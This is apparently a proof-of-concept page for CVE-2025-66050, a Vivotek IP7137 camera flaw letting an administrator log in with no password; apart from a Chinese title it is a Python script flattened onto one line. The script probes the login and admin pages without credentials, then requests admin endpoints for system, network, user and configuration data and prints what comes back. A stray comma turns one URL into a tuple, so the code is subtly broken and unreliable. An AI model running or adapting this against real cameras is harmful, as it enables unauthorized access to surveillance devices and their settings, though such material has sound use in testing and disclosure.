CVE-2025-66050 Vivotek IP7137摄像头默认管理员无密码认证漏洞

import requests # CVE-2025-66050 PoC - Vivotek IP7137 Default Admin No Password # Target: Vivotek IP7137 IP Camera # Vulnerability: Default administrator account with no password target_ip = "192.168.1.100" # Replace with target camera IP target_port = 80 def check_vivotek_vulnerability(): """ Check if Vivotek IP7137 camera is vulnerable to CVE-2025-66050 """ # Try to access the admin login page without credentials login_url = f"http://{target_ip}:{target_port}/login.cgi" try: # Request without any authentication response = requests.get(login_url, timeout=10) if response.status_code == 200: # Check if we can access admin features admin_url = f"http://{target_ip}:{target_port}/admin/", admin_response = requests.get(admin_url, timeout=10) if admin_response.status_code == 200: print("[+] VULNERABLE: Device allows admin access without password") print("[+] CVE-2025-66050 confirmed") return True print("[-] Device may not be vulnerable or is not Vivotek IP7137") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_default_admin(): """ Exploit CVE-2025-66050 to gain admin access """ base_url = f"http://{target_ip}:{target_port}" # Access admin configuration page config_endpoints = [ "/admin/systeminfo", "/admin/network", "/admin/users", "/admin/config", "/cgi-bin/admin/getparam", ] for endpoint in config_endpoints: try: response = requests.get(base_url + endpoint, timeout=10) if response.status_code == 200: print(f"[+] Accessible endpoint: {endpoint}") print(f"[+] Response preview: {response.text[:200]}...") except: pass if __name__ == "__main__": print("CVE-2025-66050 Vivotek IP7137 No-Password Admin Exploit") check_vivotek_vulnerability() # Uncomment to exploit: # exploit_default_admin()